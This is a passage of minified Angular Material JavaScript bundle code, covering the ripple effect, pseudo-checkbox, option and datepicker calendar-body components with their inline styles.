new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:dt,useValue:re}],imports:[ve]}),be})(),Be=(()=>{class be{isErrorState(Re,Ue){return!!(Re&&Re.invalid&&(Re.touched||Ue&&Ue.submitted))}}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac,providedIn:"root"}),be})(),pe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-line",""],["","matLine",""]],hostAttrs:[1,"mat-line"]}),be})();function P(be,Pe,Re="mat"){be.changes.pipe((0,g.O)(be)).subscribe(({length:Ue})=>{w(Pe,`${Re}-2-line`,!1),w(Pe,`${Re}-3-line`,!1),w(Pe,`${Re}-multi-line`,!1),2===Ue||3===Ue?w(Pe,`${Re}-${Ue}-line`,!0):Ue>3&&w(Pe,`${Re}-multi-line`,!0)})}function w(be,Pe,Re){be.nativeElement.classList.toggle(Pe,Re)}let R=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})();class X{constructor(Pe,Re,Ue,xe=!1){this._renderer=Pe,this.element=Re,this.config=Ue,this._animationForciblyDisabledThroughCss=xe,this.state=3}fadeOut(){this._renderer.fadeOutRipple(this)}}const _e={enterDuration:225,exitDuration:150},Je=(0,f.i$)({passive:!0}),Et=["mousedown","touchstart"],Dt=["mouseup","mouseleave","touchend","touchcancel"];class Pt{constructor(Pe,Re,Ue,xe){this._target=Pe,this._ngZone=Re,this._isPointerDown=!1,this._activeRipples=new Map,this._pointerUpEventsRegistered=!1,xe.isBrowser&&(this._containerElement=(0,E.fI)(Ue))}fadeInRipple(Pe,Re,Ue={}){const xe=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),J={..._e,...Ue.animation};Ue.centered&&(Pe=xe.left+xe.width/2,Re=xe.top+xe.height/2);const Ae=Ue.radius||function Ie(be,Pe,Re){const Ue=Math.max(Math.abs(be-Re.left),Math.abs(be-Re.right)),xe=Math.max(Math.abs(Pe-Re.top),Math.abs(Pe-Re.bottom));return Math.sqrt(Ue*Ue+xe*xe)}(Pe,Re,xe),mt=Pe-xe.left,Ct=Re-xe.top,jt=J.enterDuration,pt=document.createElement("div");pt.classList.add("mat-ripple-element"),pt.style.left=mt-Ae+"px",pt.style.top=Ct-Ae+"px",pt.style.height=2*Ae+"px",pt.style.width=2*Ae+"px",null!=Ue.color&&(pt.style.backgroundColor=Ue.color),pt.style.transitionDuration=`${jt}ms`,this._containerElement.appendChild(pt);const nt=window.getComputedStyle(pt),Ee=nt.transitionDuration,at="none"===nt.transitionProperty||"0s"===Ee||"0s, 0s"===Ee,Se=new X(this,pt,Ue,at);pt.style.transform="scale3d(1, 1, 1)",Se.state=0,Ue.persistent||(this._mostRecentTransientRipple=Se);let ot=null;return!at&&(jt||J.exitDuration)&&this._ngZone.runOutsideAngular(()=>{const Ne=()=>this._finishRippleTransition(Se),ut=()=>this._destroyRipple(Se);pt.addEventListener("transitionend",Ne),pt.addEventListener("transitioncancel",ut),ot={onTransitionEnd:Ne,onTransitionCancel:ut}}),this._activeRipples.set(Se,ot),(at||!jt)&&this._finishRippleTransition(Se),Se}fadeOutRipple(Pe){if(2===Pe.state||3===Pe.state)return;const Re=Pe.element,Ue={..._e,...Pe.config.animation};Re.style.transitionDuration=`${Ue.exitDuration}ms`,Re.style.opacity="0",Pe.state=2,(Pe._animationForciblyDisabledThroughCss||!Ue.exitDuration)&&this._finishRippleTransition(Pe)}fadeOutAll(){this._getActiveRipples().forEach(Pe=>Pe.fadeOut())}fadeOutAllNonPersistent(){this._getActiveRipples().forEach(Pe=>{Pe.config.persistent||Pe.fadeOut()})}setupTriggerEvents(Pe){const Re=(0,E.fI)(Pe);!Re||Re===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=Re,this._registerEvents(Et))}handleEvent(Pe){"mousedown"===Pe.type?this._onMousedown(Pe):"touchstart"===Pe.type?this._onTouchStart(Pe):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(Dt),this._pointerUpEventsRegistered=!0)}_finishRippleTransition(Pe){0===Pe.state?this._startFadeOutTransition(Pe):2===Pe.state&&this._destroyRipple(Pe)}_startFadeOutTransition(Pe){const Re=Pe===this._mostRecentTransientRipple,{persistent:Ue}=Pe.config;Pe.state=1,!Ue&&(!Re||!this._isPointerDown)&&Pe.fadeOut()}_destroyRipple(Pe){const Re=this._activeRipples.get(Pe)??null;this._activeRipples.delete(Pe),this._activeRipples.size||(this._containerRect=null),Pe===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),Pe.state=3,null!==Re&&(Pe.element.removeEventListener("transitionend",Re.onTransitionEnd),Pe.element.removeEventListener("transitioncancel",Re.onTransitionCancel)),Pe.element.remove()}_onMousedown(Pe){const Re=(0,a.X6)(Pe),Ue=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!Re&&!Ue&&(this._isPointerDown=!0,this.fadeInRipple(Pe.clientX,Pe.clientY,this._target.rippleConfig))}_onTouchStart(Pe){if(!this._target.rippleDisabled&&!(0,a.yG)(Pe)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;const Re=Pe.changedTouches;for(let Ue=0;Ue<Re.length;Ue++)this.fadeInRipple(Re[Ue].clientX,Re[Ue].clientY,this._target.rippleConfig)}}_onPointerUp(){this._isPointerDown&&(this._isPointerDown=!1,this._getActiveRipples().forEach(Pe=>{!Pe.config.persistent&&(1===Pe.state||Pe.config.terminateOnPointerUp&&0===Pe.state)&&Pe.fadeOut()}))}_registerEvents(Pe){this._ngZone.runOutsideAngular(()=>{Pe.forEach(Re=>{this._triggerElement.addEventListener(Re,this,Je)})})}_getActiveRipples(){return Array.from(this._activeRipples.keys())}_removeTriggerEvents(){this._triggerElement&&(Et.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}),this._pointerUpEventsRegistered&&Dt.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}))}}const te=new n.OlP("mat-ripple-global-options");let x=(()=>{class be{constructor(Re,Ue,xe,J,Ae){this._elementRef=Re,this._animationMode=Ae,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=J||{},this._rippleRenderer=new Pt(this,Ue,Re,xe)}get disabled(){return this._disabled}set disabled(Re){Re&&this.fadeOutAllNonPersistent(),this._disabled=Re,this._setupTriggerEventsIfEnabled()}get trigger(){return this._trigger||this._elementRef.nativeElement}set trigger(Re){this._trigger=Re,this._setupTriggerEventsIfEnabled()}ngOnInit(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}ngOnDestroy(){this._rippleRenderer._removeTriggerEvents()}fadeOutAll(){this._rippleRenderer.fadeOutAll()}fadeOutAllNonPersistent(){this._rippleRenderer.fadeOutAllNonPersistent()}get rippleConfig(){return{centered:this.centered,radius:this.radius,color:this.color,animation:{...this._globalOptions.animation,..."NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{},...this.animation},terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}get rippleDisabled(){return this.disabled||!!this._globalOptions.disabled}_setupTriggerEventsIfEnabled(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}launch(Re,Ue=0,xe){return"number"==typeof Re?this._rippleRenderer.fadeInRipple(Re,Ue,{...this.rippleConfig,...xe}):this._rippleRenderer.fadeInRipple(0,0,{...this.rippleConfig,...Re})}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(f.t4),n.Y36(te,8),n.Y36(n.QbO,8))},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-ripple-unbounded",Ue.unbounded)},inputs:{color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],radius:["matRippleRadius","radius"],animation:["matRippleAnimation","animation"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"]},exportAs:["matRipple"]}),be})(),m=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})(),b=(()=>{class be{constructor(Re){this._animationMode=Re,this.state="unchecked",this.disabled=!1}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.QbO,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-pseudo-checkbox"]],hostAttrs:[1,"mat-pseudo-checkbox"],hostVars:8,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-pseudo-checkbox-indeterminate","indeterminate"===Ue.state)("mat-pseudo-checkbox-checked","checked"===Ue.state)("mat-pseudo-checkbox-disabled",Ue.disabled)("_mat-animation-noopable","NoopAnimations"===Ue._animationMode)},inputs:{state:"state",disabled:"disabled"},decls:0,vars:0,template:function(Re,Ue){},styles:[\'.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:rgba(0,0,0,0)}.mat-pseudo-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-pseudo-checkbox._mat-animation-noopable::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\'],encapsulation:2,changeDetection:0}),be})(),B=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se]}),be})();const ie=new n.OlP("MAT_OPTION_PARENT_COMPONENT"),Vt=new n.OlP("MatOptgroup");let qt=0;class u1{constructor(Pe,Re=!1){this.source=Pe,this.isUserInput=Re}}let c1=(()=>{class be{constructor(Re,Ue,xe,J){this._element=Re,this._changeDetectorRef=Ue,this._parent=xe,this.group=J,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+qt++,this.onSelectionChange=new n.vpe,this._stateChanges=new S.xQ}get multiple(){return this._parent&&this._parent.multiple}get selected(){return this._selected}get disabled(){return this.group&&this.group.disabled||this._disabled}set disabled(Re){this._disabled=(0,E.Ig)(Re)}get disableRipple(){return!(!this._parent||!this._parent.disableRipple)}get active(){return this._active}get viewValue(){return(this._getHostElement().textContent||"").trim()}select(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}deselect(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}focus(Re,Ue){const xe=this._getHostElement();"function"==typeof xe.focus&&xe.focus(Ue)}setActiveStyles(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())}setInactiveStyles(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())}getLabel(){return this.viewValue}_handleKeydown(Re){(Re.keyCode===C.K5||Re.keyCode===C.L_)&&!(0,C.Vb)(Re)&&(this._selectViaInteraction(),Re.preventDefault())}_selectViaInteraction(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))}_getAriaSelected(){return this.selected||!this.multiple&&null}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._element.nativeElement}ngAfterViewChecked(){if(this._selected){const Re=this.viewValue;Re!==this._mostRecentViewValue&&(this._mostRecentViewValue=Re,this._stateChanges.next())}}ngOnDestroy(){this._stateChanges.complete()}_emitSelectionChangeEvent(Re=!1){this.onSelectionChange.emit(new u1(this,Re))}}return be.\\u0275fac=function(Re){n.$Z()},be.\\u0275dir=n.lG2({type:be,inputs:{value:"value",id:"id",disabled:"disabled"},outputs:{onSelectionChange:"onSelectionChange"}}),be})(),It=(()=>{class be extends c1{constructor(Re,Ue,xe,J){super(Re,Ue,xe,J)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(ie,8),n.Y36(Vt,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-option"]],hostAttrs:["role","option",1,"mat-option","mat-focus-indicator"],hostVars:12,hostBindings:function(Re,Ue){1&Re&&n.NdJ("click",function(){return Ue._selectViaInteraction()})("keydown",function(J){return Ue._handleKeydown(J)}),2&Re&&(n.Ikx("id",Ue.id),n.uIk("tabindex",Ue._getTabIndex())("aria-selected",Ue._getAriaSelected())("aria-disabled",Ue.disabled.toString()),n.ekj("mat-selected",Ue.selected)("mat-option-multiple",Ue.multiple)("mat-active",Ue.active)("mat-option-disabled",Ue.disabled))},exportAs:["matOption"],features:[n.qOj],ngContentSelectors:G,decls:5,vars:4,consts:[["class","mat-option-pseudo-checkbox",3,"state","disabled",4,"ngIf"],[1,"mat-option-text"],["class","cdk-visually-hidden",4,"ngIf"],["mat-ripple","",1,"mat-option-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-option-pseudo-checkbox",3,"state","disabled"],[1,"cdk-visually-hidden"]],template:function(Re,Ue){1&Re&&(n.F$t(),n.YNc(0,j,1,2,"mat-pseudo-checkbox",0),n.TgZ(1,"span",1),n.Hsn(2),n.qZA(),n.YNc(3,U,2,1,"span",2),n._UZ(4,"div",3)),2&Re&&(n.Q6J("ngIf",Ue.multiple),n.xp6(3),n.Q6J("ngIf",Ue.group&&Ue.group._inert),n.xp6(1),n.Q6J("matRippleTrigger",Ue._getHostElement())("matRippleDisabled",Ue.disabled||Ue.disableRipple))},dependencies:[x,c.O5,b],styles:[\'.mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.mat-option.mat-active::before{content:""}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}[dir=rtl] .cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{right:auto;left:16px}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\'],encapsulation:2,changeDetection:0}),be})();function _t(be,Pe,Re){if(Re.length){let Ue=Pe.toArray(),xe=Re.toArray(),J=0;for(let Ae=0;Ae<be+1;Ae++)Ue[Ae].group&&Ue[Ae].group===xe[J]&&J++;return J}return 0}function kt(be,Pe,Re,Ue){return be<Re?be:be+Pe>Re+Ue?Math.max(0,be-Ue+Pe):Re}let Fe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[m,c.ez,se,B]}),be})()},9602:(At,ae,d)=>{"use strict";d.d(ae,{FA:()=>Me,Mq:()=>pt,hl:()=>ot,nW:()=>ut});var n=d(2687),a=d(8184),s=d(4080),u=d(6895),c=d(4650),f=d(4859),E=d(7261),_=d(3238),S=d(8929),g=d(2654),C=d(6787),z=d(1086),H=d(9521),j=d(445),U=d(2986),G=d(1059),Q=d(2198),oe=d(1281),Ce=d(3353),k=d(7340),K=d(4006),se=d(9549),ee=d(4144);const q=["mat-calendar-body",""];function we(O,de){if(1&O&&(c.TgZ(0,"tr",2)(1,"td",3),c._uU(2),c.qZA()()),2&O){const h=c.oxw();c.xp6(1),c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h.numCols),c.xp6(1),c.hij(" ",h.label," ")}}function ce(O,de){if(1&O&&(c.TgZ(0,"td",3),c._uU(1),c.qZA()),2&O){const h=c.oxw(2);c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h._firstRowOffset),c.xp6(1),c.hij(" ",h._firstRowOffset>=h.labelMinRequiredCells?h.label:""," ")}}function je(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"td",7)(1,"button",8),c.NdJ("click",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._cellClicked(Wt,ke))})("focus",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._emitActiveDateChange(Wt,ke))}),c.TgZ(2,"div",9),c._uU(3),c.qZA(),c._UZ(4,"div",10),c.qZA()()}if(2&O){const h=de.$implicit,$=de.index,ke=c.oxw().index,lt=c.oxw();c.Udp("width",lt._cellWidth)("padding-top",lt._cellPadding)("padding-bottom",lt._cellPadding),c.uIk("data-mat-row",ke)("data-mat-col",$),c.xp6(1),c.ekj("mat-calendar-body-disabled",!h.enabled)("mat-calendar-body-active",lt._isActiveCell(ke,$))("mat-calendar-body-range-start",lt._isRangeStart(h.compareValue))("mat-calendar-body-range-end",lt._isRangeEnd(h.compareValue))("mat-calendar-body-in-range",lt._isInRange(h.compareValue))("mat-calendar-body-comparison-bridge-start",lt._isComparisonBridgeStart(h.compareValue,ke,$))("mat-calendar-body-comparison-bridge-end",lt._isComparisonBridgeEnd(h.compareValue,ke,$))("mat-calendar-body-comparison-start",lt._isComparisonStart(h.compareValue))("mat-calendar-body-comparison-end",lt._isComparisonEnd(h.compareValue))("mat-calendar-body-in-comparison-range",lt._isInComparisonRange(h.compareValue))("mat-calendar-body-preview-start",lt._isPreviewStart(h.compareValue))("mat-calendar-body-preview-end",lt._isPreviewEnd(h.compareValue))("mat-calendar-body-in-preview",lt._isInPreview(h.compareValue)),c.Q6J("ngClass",h.cssClasses)("tabindex",lt._isActiveCell(ke,$)?0:-1),c.uIk("aria-label",h.ariaLabel)("aria-disabled",!h.enabled||null)("aria-pressed",lt._isSelected(h.compareValue))("aria-current",lt.todayValue===h.compareValue?"date":null),c.xp6(1),c.ekj("mat-calendar-body-selected",lt._isSelected(h.compareValue))("mat-calendar-body-comparison-identical",lt._isComparisonIdentical(h.compareValue))("mat-calendar-body-today",lt.todayValue===h.compareValue),c.xp6(1),c.hij(" ",h.displayValue," ")}}function Ze(O,de){if(1&O&&(c.TgZ(0,"tr",4),c.YNc(1,ce,2,6,"td",5),c.YNc(2,je,5,47,"td",6),c.qZA()),2&O){const h=de.$implicit,$=de.index,ke=c.oxw();c.xp6(1),c.Q6J("ngIf",0===$&&ke._firstRowOffset),c.xp6(1),c.Q6J("ngForOf",h)}}function le(O,de){if(1&O&&(c.TgZ(0,"th",5)(1,"span",6),c._uU(2),c.qZA(),c.TgZ(3,"span",7),c._uU(4),c.qZA()()),2&O){const h=de.$implicit;c.xp6(2),c.Oqu(h.long),c.xp6(2),c.Oqu(h.narrow)}}const Oe=["*"];function Qe(O,de){}function Ye(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-month-view",5),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("_userSelection",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._dateSelected(ke))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)("comparisonStart",h.comparisonStart)("comparisonEnd",h.comparisonEnd)}}function qe(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-year-view",6),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("monthSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._monthSelectedInYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"month"))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function Ke(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-multi-year-view",7),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("yearSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._yearSelectedInMultiYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"year"))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function dt(O,de){}const bt=["button"];function ze(O,de){1&O&&(c.O4$(),c.TgZ(0,"svg",3),c._UZ(1,"path",4),c.qZA())}const De=[[["","matDatepickerToggleIcon",""]]],re=["[matDatepickerToggleIcon]"];let pe=(()=>{class O{constructor(){this.changes=new S.xQ,this.calendarLabel="Calendar",this.openCalendarLabel="Open calendar",this.closeCalendarLabel="Close calendar",this.prevMonthLabel="Previous month",this.nextMonthLabel="Next month",this.prevYearLabel="Previous year",this.nextYearLabel="Next year",this.prevMultiYearLabel="Previous 24 years",this.nextMultiYearLabel="Next 24 years",this.switchToMonthViewLabel="Choose date",this.switchToMultiYearViewLabel="Choose month and year",this.startDateLabel="Start date",this.endDateLabel="End date"}formatYearRange(h,$){return`${h} \\u2013 ${$}`}formatYearRangeLabel(h,$){return`${h} to ${$}`}}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac,providedIn:"root"}),O})();class P{constructor(de,h,$,ke,lt={},Wt=de,p1){this.value=de,this.displayValue=h,this.ariaLabel=$,this.enabled=ke,this.cssClasses=lt,this.compareValue=Wt,this.rawValue=p1}}let w=(()=>{class O{constructor(h,$){this._elementRef=h,this._ngZone=$,this._focusActiveCellAfterViewChecked=!1,this.numCols=7,this.activeCell=0,this.isRange=!1,this.cellAspectRatio=1,this.previewStart=null,this.previewEnd=null,this.selectedValueChange=new c.vpe,this.previewChange=new c.vpe,this.activeDateChange=new c.vpe,this._enterHandler=ke=>{if(this._skipNextFocus&&"focus"===ke.type)this._skipNextFocus=!1;else if(ke.target&&this.isRange){const lt=this._getCellFromElement(ke.target);lt&&this._ngZone.run(()=>this.previewChange.emit({value:lt.enabled?lt:null,event:ke}))}},this._leaveHandler=ke=>{null!==this.previewEnd&&this.isRange&&ke.target&&this._getCellFromElement(ke.target)&&this._ngZone.run(()=>this.previewChange.emit({value:null,event:ke}))},$.runOutsideAngular(()=>{const ke=h.nativeElement;ke.addEventListener("mouseenter",this._enterHandler,!0),ke.addEventListener("focus",this._enterHandler,!0),ke.addEventListener("mouseleave",this._leaveHandler,!0),ke.addEventListener("blur",this._leaveHandler,!0)})}ngAfterViewChecked(){this._focusActiveCellAfterViewChecked&&(this._focusActiveCell(),this._focusActiveCellAfterViewChecked=!1)}_cellClicked(h,$){h.enabled&&this.selectedValueChange.emit({value:h.value,event:$})}_emitActiveDateChange(h,$){h.enabled&&this.activeDateChange.emit({value:h.value,event:$})}_isSelected(h){return this.startValue===h||this.endValue===h}ngOnChanges(h){const $=h.numCols,{rows:ke,numCols:lt}=this;(h.rows||$)&&(this._firstRowOffset=ke&&ke.length&&ke[0].length?lt-ke[0].length:0),(h.cellAspectRatio||$||!this._cellPadding)&&(this._cellPadding=50*this.cellAspectRatio/lt+"%"),($||!this._cellWidth)&&(this._cellWidth=100/lt+"%")}ngOnDestroy(){const h=this._elementRef.nativeElement;h.removeEventListener("mouseenter",this._enterHandler,!0),h.removeEventListener("focus",this._enterHandler,!0),h.removeEventListener("mouseleave",this._leaveHandler,!0),h.removeEventListener("blur",this._leaveHandler,!0)}_isActiveCell(h,$){let ke=h*this.numCols+$;return h&&(ke-=this._firstRowOffset),ke==this.activeCell}_focusActiveCell(h=!0){this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>{setTimeout(()=>{const $=this._elementRef.nativeElement.querySelector(".mat-calendar-body-active");$&&(h||(this._skipNextFocus=!0),$.focus())})})})}_scheduleFocusActiveCellAfterViewChecked(){this._focusActiveCellAfterViewChecked=!0}_isRangeStart(h){return X(h,this.startValue,this.endValue)}_isRangeEnd(h){return _e(h,this.startValue,this.endValue)}_isInRange(h){return ct(h,this.startValue,this.endValue,this.isRange)}_isComparisonStart(h){return X(h,this.comparisonStart,this.comparisonEnd)}_isComparisonBridgeStart(h,$,ke){if(!this._isComparisonStart(h)||this._isRangeStart(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke-1];if(!lt){const Wt=this.rows[$-1];lt=Wt&&Wt[Wt.length-1]}return lt&&!this._isRangeEnd(lt.compareValue)}_isComparisonBridgeEnd(h,$,ke){if(!this._isComparisonEnd(h)||this._isRangeEnd(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke+1];if(!lt){const Wt=this.rows[$+1];lt=Wt&&Wt[0]}return lt&&!this._isRangeStart(lt.compareValue)}_isComparisonEnd(h){return _e(h,this.comparisonStart,this.comparisonEnd)}_isInComparisonRange(h){return ct(h,this.comparisonStart,this.comparisonEnd,this.isRange)}_isComparisonIdentical(h){return this.comparisonStart===this.comparisonEnd&&h===this.comparisonStart}_isPreviewStart(h){return X(h,this.previewStart,this.previewEnd)}_isPreviewEnd(h){return _e(h,this.previewStart,this.previewEnd)}_isInPreview(h){return ct(h,this.previewStart,this.previewEnd,this.isRange)}_getCellFromElement(h){let $;if(R(h)?$=h:R(h.parentNode)&&($=h.parentNode),$){const ke=$.getAttribute("data-mat-row"),lt=$.getAttribute("data-mat-col");if(ke&<)return this.rows[parseInt(ke)][parseInt(lt)]}return null}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(c.R0b))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["","mat-calendar-body",""]],hostAttrs:[1,"mat-calendar-body"],inputs:{label:"label",rows:"rows",todayValue:"todayValue",startValue:"startValue",endValue:"endValue",labelMinRequiredCells:"labelMinRequiredCells",numCols:"numCols",activeCell:"activeCell",isRange:"isRange",cellAspectRatio:"cellAspectRatio",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd",previewStart:"previewStart",previewEnd:"previewEnd"},outputs:{selectedValueChange:"selectedValueChange",previewChange:"previewChange",activeDateChange:"activeDateChange"},exportAs:["matCalendarBody"],features:[c.TTD],attrs:q,decls:2,vars:2,consts:[["aria-hidden","true",4,"ngIf"],["role","row",4,"ngFor","ngForOf"],["aria-hidden","true"],[1,"mat-calendar-body-label"],["role","row"],["class","mat-calendar-body-label",3,"paddingTop","paddingBottom",4,"ngIf"],["role","gridcell","class","mat-calendar-body-cell-container",3,"width","paddingTop","paddingBottom",4,"ngFor","ngForOf"],["role","gridcell",1,"mat-calendar-body-cell-container"],["type","button",1,"mat-calendar-body-cell",3,"ngClass","tabindex","click","focus"],[1,"mat-calendar-body-cell-content","mat-focus-indicator"],["aria-hidden","true",1,"mat-calendar-body-cell-preview"]],template:function(h,$){1&h&&(c.YNc(0,we,3,6,"tr",0),c.YNc(1,Ze,3,2,"tr",1)),2&h&&(c.Q6J("ngIf",$._firstRowOffset<$.labelMinRequiredCells),c.xp6(1),c.Q6J("ngForOf",$.rows))},dependencies:[u.mk,u.sg,u.O5],styles:[\'.mat-calendar-body{min-width:224px}.mat-calendar-body-label{height:0;line-height:0;text-align:left;padding-left:4.7142857143%;padding-right:4.7142857143%}.mat-calendar-body-cell-container{position:relative;height:0;line-height:0}.mat-calendar-body-cell{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);position:absolute;top:0;left:0;width:100%;height:100%;background:none;text-align:center;outline:none;font-family:inherit;margin:0}.mat-calendar-body-cell::-moz-focus-inner{border:0}.mat-calendar-body-cell::before,.mat-calendar-body-cell::after,.mat-calendar-body-cell-preview{content:"";position:absolute;top:5%;left:0;z-index:0;box-sizing:border-box;height:90%;width:100%}.mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-start::after,.mat-calendar-